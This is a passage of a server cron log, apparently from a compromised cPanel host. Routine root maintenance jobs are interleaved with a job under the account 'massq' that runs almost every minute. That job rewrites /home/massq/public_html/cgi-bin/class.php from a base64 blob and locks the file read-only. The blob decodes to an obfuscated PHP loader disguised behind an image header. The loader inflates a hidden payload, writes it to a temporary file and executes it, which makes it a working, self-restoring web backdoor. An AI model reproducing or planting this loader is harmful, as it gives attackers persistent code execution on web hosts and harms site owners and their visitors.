UMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:24:01 server CROND[3276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:25:01 server CROND[3328]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 20:25:01 server CROND[3329]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  8 20:25:01 server CROND[3330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 20:25:01 server CROND[3331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:26:01 server CROND[3535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:27:01 server CROND[3613]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 20:27:01 server CROND[3614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:28:01 server CROND[3695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:29:01 server CROND[3747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:30:01 server CROND[3814]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  8 20:30:01 server CROND[3816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:30:01 server CROND[3817]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 20:30:01 server CROND[3819]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 20:30:01 server CROND[3818]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 20:31:01 server CROND[4023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:32:01 server CROND[4071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:33:01 server CROND[4124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:34:01 server CROND[4177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:35:01 server CROND[4229]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 20:35:01 server CROND[4231]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 20:35:01 server CROND[4233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:35:01 server CROND[4232]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 20:35:01 server CROND[4234]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 20:36:01 server CROND[4422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
